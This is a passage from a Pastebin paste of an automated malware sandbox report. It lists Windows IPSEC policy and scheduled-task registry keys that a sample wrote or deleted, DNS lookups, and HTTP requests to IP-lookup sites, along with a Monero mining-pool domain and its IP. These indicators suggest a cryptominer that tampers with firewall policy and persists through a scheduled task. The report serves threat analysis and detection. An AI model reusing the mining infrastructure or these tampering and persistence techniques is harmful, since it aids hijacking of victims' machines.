  614. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy770b2190-07bf-4556-92cb-b0e7531fbfb2\\ipsecOwnersReference",
  615. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter39c41793-09b5-4213-9837-a9743fda0308",
  616. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter39c41793-09b5-4213-9837-a9743fda0308\\className",
  617. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter39c41793-09b5-4213-9837-a9743fda0308\\name",
  618. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter39c41793-09b5-4213-9837-a9743fda0308\\ipsecName",
  619. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter39c41793-09b5-4213-9837-a9743fda0308\\ipsecID",
  620. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter39c41793-09b5-4213-9837-a9743fda0308\\ipsecDataType",
  621. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter39c41793-09b5-4213-9837-a9743fda0308\\ipsecData",
  622. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter39c41793-09b5-4213-9837-a9743fda0308\\whenChanged",
  623. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter2b2325bc-76e7-4029-af3c-319adec8c06e",
  624. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter2b2325bc-76e7-4029-af3c-319adec8c06e\\className",
  625. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter2b2325bc-76e7-4029-af3c-319adec8c06e\\name",
  626. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter2b2325bc-76e7-4029-af3c-319adec8c06e\\ipsecName",
  627. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter2b2325bc-76e7-4029-af3c-319adec8c06e\\ipsecID",
  628. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter2b2325bc-76e7-4029-af3c-319adec8c06e\\ipsecDataType",
  629. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter2b2325bc-76e7-4029-af3c-319adec8c06e\\ipsecData",
  630. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter2b2325bc-76e7-4029-af3c-319adec8c06e\\whenChanged",
  631. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy4a4b7620-b7f3-40ec-a67c-6871e223e76e",
  632. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy4a4b7620-b7f3-40ec-a67c-6871e223e76e\\className",
  633. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy4a4b7620-b7f3-40ec-a67c-6871e223e76e\\name",
  634. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy4a4b7620-b7f3-40ec-a67c-6871e223e76e\\ipsecName",
  635. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy4a4b7620-b7f3-40ec-a67c-6871e223e76e\\ipsecID",
  636. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy4a4b7620-b7f3-40ec-a67c-6871e223e76e\\ipsecNegotiationPolicyAction",
  637. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy4a4b7620-b7f3-40ec-a67c-6871e223e76e\\ipsecNegotiationPolicyType",
  638. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy4a4b7620-b7f3-40ec-a67c-6871e223e76e\\ipsecDataType",
  639. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy4a4b7620-b7f3-40ec-a67c-6871e223e76e\\ipsecData",
  640. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy4a4b7620-b7f3-40ec-a67c-6871e223e76e\\whenChanged",
  641. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy2492efdb-3a28-43a3-a73d-f3a1df184672",
  642. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy2492efdb-3a28-43a3-a73d-f3a1df184672\\className",
  643. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy2492efdb-3a28-43a3-a73d-f3a1df184672\\name",
  644. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy2492efdb-3a28-43a3-a73d-f3a1df184672\\ipsecName",
  645. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy2492efdb-3a28-43a3-a73d-f3a1df184672\\ipsecID",
  646. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy2492efdb-3a28-43a3-a73d-f3a1df184672\\ipsecNegotiationPolicyAction",
  647. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy2492efdb-3a28-43a3-a73d-f3a1df184672\\ipsecNegotiationPolicyType",
  648. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy2492efdb-3a28-43a3-a73d-f3a1df184672\\ipsecDataType",
  649. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy2492efdb-3a28-43a3-a73d-f3a1df184672\\ipsecData",
  650. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy2492efdb-3a28-43a3-a73d-f3a1df184672\\whenChanged",
  651. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFAc9e04e96-c4d4-4b40-ba8e-14fcbeefa896",
  652. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFAc9e04e96-c4d4-4b40-ba8e-14fcbeefa896\\className",
  653. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFAc9e04e96-c4d4-4b40-ba8e-14fcbeefa896\\name",
  654. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFAc9e04e96-c4d4-4b40-ba8e-14fcbeefa896\\ipsecName",
  655. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFAc9e04e96-c4d4-4b40-ba8e-14fcbeefa896\\ipsecID",
  656. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFAc9e04e96-c4d4-4b40-ba8e-14fcbeefa896\\ipsecDataType",
  657. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFAc9e04e96-c4d4-4b40-ba8e-14fcbeefa896\\ipsecData",
  658. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFAc9e04e96-c4d4-4b40-ba8e-14fcbeefa896\\ipsecNegotiationPolicyReference",
  659. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFAc9e04e96-c4d4-4b40-ba8e-14fcbeefa896\\ipsecFilterReference",
  660. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFAc9e04e96-c4d4-4b40-ba8e-14fcbeefa896\\whenChanged",
  661. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFAc9e04e96-c4d4-4b40-ba8e-14fcbeefa896\\ipsecOwnersReference",
  662. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter39c41793-09b5-4213-9837-a9743fda0308\\ipsecOwnersReference",
  663. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy4a4b7620-b7f3-40ec-a67c-6871e223e76e\\ipsecOwnersReference",
  664. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ActivePolicy",
  665. "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\IPSec",
  666. "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\IPSec\\OperationMode",
  667. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\EA94A92D-DCDF-4319-BB83-8D185C32A65E\\Path",
  668. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\EA94A92D-DCDF-4319-BB83-8D185C32A65E\\Hash",
  669. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\Microsoft\\Windows\\UPnP\\Services\\Id",
  670. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\Microsoft\\Windows\\UPnP\\Services\\Index",
  671. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\EA94A92D-DCDF-4319-BB83-8D185C32A65E\\Triggers",
  672. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tasks\\EA94A92D-DCDF-4319-BB83-8D185C32A65E\\DynamicInfo"
  673.  
  674.  
  675. * Deleted Registry Keys:
  676. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy770b2190-07bf-4556-92cb-b0e7531fbfb2\\description",
  677. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecPolicyd1c155cc-4661-45df-8768-9230678eb6f5\\description",
  678. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFA8337379d-ab13-4a4d-a5bd-15691ebc083b\\description",
  679. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter39c41793-09b5-4213-9837-a9743fda0308\\description",
  680. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecFilter2b2325bc-76e7-4029-af3c-319adec8c06e\\description",
  681. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy4a4b7620-b7f3-40ec-a67c-6871e223e76e\\description",
  682. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNegotiationPolicy2492efdb-3a28-43a3-a73d-f3a1df184672\\description",
  683. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecNFAc9e04e96-c4d4-4b40-ba8e-14fcbeefa896\\description",
  684. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\IPSEC\\Policy\\Local\\ipsecISAKMPPolicy2b2b6b17-733c-4aa3-94b1-b7a4fb3b2532\\ipsecOwnersReference"
  685.  
  686.  
  687. * DNS Communications:
  688.  
  689. "type": "A",
  690. "request": "ip.3322.net",
  691. "answers":
  692.  
  693. "data": "dyndns.s.3322.net",
  694. "type": "CNAME"
  695.  
  696.  
  697. "data": "118.184.176.22",
  698. "type": "A"
  699.  
  700.  
  701.  
  702.  
  703. "type": "A",
  704. "request": "www.ip138.com",
  705. "answers":
  706.  
  707. "data": "www.ip138.com.lxdns.com",
  708. "type": "CNAME"
  709.  
  710.  
  711. "data": "157.185.144.122",
  712. "type": "A"
  713.  
  714.  
  715.  
  716.  
  717. "type": "A",
  718. "request": "monero.monerov9.com",
  719. "answers":
  720.  
  721. "data": "61.216.5.103",
  722. "type": "A"
  723.  
  724.  
  725.  
  726.  
  727.  
  728. * Domains:
  729.  
  730. "ip": "61.216.5.103",
  731. "domain": "monero.monerov9.com"
  732.  
  733.  
  734. "ip": "",
  735. "domain": "ip.3322.net"
  736.  
  737.  
  738. "ip": "",
  739. "domain": "www.ip138.com"
  740.  
  741.  
  742.  
  743. * Network Communication - ICMP:
  744.  
  745. * Network Communication - HTTP:
  746.  
  747. "count": 1,
  748. "body": "",
  749. "uri": "http://www.ip138.com/ips138.asp?ip=",
  750. "user-agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)",
  751. "method": "GET",
  752. "host": "www.ip138.com",
  753. "version": "1.1",
  754. "path": "/ips138.asp?ip=",
  755. "data": "GET /ips138.asp?ip= HTTP/1.1\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\nReferer: http://www.ip138.com/ips138.asp?ip=\r\nAccept-Language: zh-cn\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\nHost: www.ip138.com\r\nCache-Control: no-cache\r\n\r\n",
  756. "port": 80
  757.  
  758.  
  759. "count": 1,
  760. "body": "",
  761. "uri": "http://www.ip138.com/",
  762. "user-agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)",
  763. "method": "GET",
  764. "host": "www.ip138.com",
  765. "version": "1.1",
  766. "path": "/",
  767. "data": "GET / HTTP/1.1\r\nAccept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\nReferer: http://www.ip138.com/ips138.asp?ip=\r\nAccept-Language: zh-cn\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\nHost: www.ip138.com\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: ASPSESSIONIDSCDDSQSS=OKDKKOIBHMGFHBBMEJHDAKEN\r\n\r\n",
  768. "port": 80
  769.  
  770.  
  771.  
  772. * Network Communication - SMTP:
  773.  
  774. * Network Communication - Hosts:
  775.  
  776. * Network Communication - IRC:
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!